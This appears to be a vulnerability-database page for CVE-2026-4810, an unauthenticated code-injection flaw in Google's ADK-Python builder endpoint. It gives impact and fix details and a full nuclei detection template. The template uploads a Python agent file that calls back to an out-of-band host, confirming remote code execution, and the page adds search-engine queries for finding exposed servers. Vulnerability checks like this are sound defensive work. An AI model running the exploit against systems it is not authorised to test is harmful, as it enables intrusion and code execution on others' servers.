HexBrain

Browse / CVEs / CVE-2026-4810

CVE-2026-4810· google / adk-python· CWE-306, CWE-94

Google ADK-Python - Unauthenticated Builder Endpoint

criticalseverity
9.3CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it

Google Agent Development Kit (ADK) 1.7.0 through 1.28.1 and 2.0.0a1 through 2.0.0a2 on Python (OSS), Cloud Run, and GKE contains a code injection and missing authentication vulnerability, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires no authentication.

Impact

Unauthenticated remote attackers can execute arbitrary code on the server, leading to full system compromise.

Fix

Upgrade to versions 1.28.1 and 2.0.0a2 or later and redeploy to production and local environments.

How to confirm it

Send: POST /builder/save ; GET /list-apps?detailed=true
Positive when: status_code_1 == 200 && body_1 == "true" and status_code_2 == 200 && contains(body_2, concat("\"", agent_name, "\"")) AND contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2026-4810 -u <target>

The full check
id: CVE-2026-4810

info:
  name: Google ADK-Python - Unauthenticated Builder Endpoint
  author: dwisiswant0
  severity: critical
  description: |
    Google Agent Development Kit (ADK) 1.7.0 through 1.28.1 and 2.0.0a1 through 2.0.0a2 on Python (OSS), Cloud Run, and GKE contains a code injection and missing authentication vulnerability, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires no authentication.
  impact: |
    Unauthenticated remote attackers can execute arbitrary code on the server, leading to full system compromise.
  remediation: |
    Upgrade to versions 1.28.1 and 2.0.0a2 or later and redeploy to production and local environments.
  reference:
    - https://github.com/google/adk-python/blob/main/CHANGELOG.md
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/U:Amber
    cvss-score: 9.3
    cve-id: CVE-2026-4810
    epss-score: 0.02196
    epss-percentile: 0.82633
    cwe-id: CWE-306,CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: google
    product: adk-python
    shodan-query: title:"ADK" http.component:"uvicorn"
    fofa-query: body="ADK" && header="uvicorn"
  tags: cve,cve2026,adk,google,rce,unauth,code-injection

variables:
  multipart_boundary: "{{md5(date_time('2006-01-02T15:04:05Z07:00'))}}"
  agent_name: "{{rand_text_alpha(1)}}{{rand_text_alpha(7)}}"
  rand_instruction: "{{rand_base(12)}}"

http:
  - raw:
      - |
        POST /builder/save HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, zstd
        Accept: */*
        Connection: keep-alive
        Content-Type: multipart/form-data; boundary={{multipart_boundary}}

        --{{multipart_boundary}}
        Content-Disposition: form-data; name="files"; filename="{{agent_name}}/agent.py"
        Content-Type: text/x-python

        import requests
        response = requests.get("http://{{interactsh-url}}")
        print(response.text)
        from google.adk.agents import Agent
        root_agent = Agent(name="{{agent_name}}", model="gemini-2.0-flash", instruction="{{rand_instruction}}")

        --{{multipart_boundary}}--

      - |
        GET /list-apps?detailed=true HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 200 && body_1 == "true"
          - status_code_2 == 200 && contains(body_2, concat("\"", agent_name, "\""))
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - dns

References

Use this check only on systems you are authorised to test. Where the data comes from